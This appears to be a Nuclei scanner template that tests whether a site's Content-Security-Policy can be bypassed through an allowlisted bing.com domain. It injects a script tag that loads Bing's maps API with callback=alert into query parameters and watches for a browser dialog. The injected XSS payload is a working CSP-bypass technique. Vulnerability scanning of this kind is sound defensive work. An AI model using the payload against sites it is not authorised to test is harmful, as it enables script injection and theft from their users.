id: bing-csp-bypass

info:
  name: Content-Security-Policy Bypass - Bing
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,bing

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "bing.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: bing_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www.bing.com/api/maps/mapcontrol?key=AlSfV3wSTlPFqxEdS97v1d1ZK25Qg4OxZerOAjFYQPZwtY4bQqhz4jDRou_kCmbJ&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "bing_csp_xss == true"
# digest: 490a004630440220536269fd12867c0bb295db0dfa205e27b97cc9ea7ee78cb018f4a920c5e7b39802206e37bf7981fb20572de9fab20e086d9e74bceea94e7afac54a7be4039425099b:922c64590222798bb761d5b6d8e72950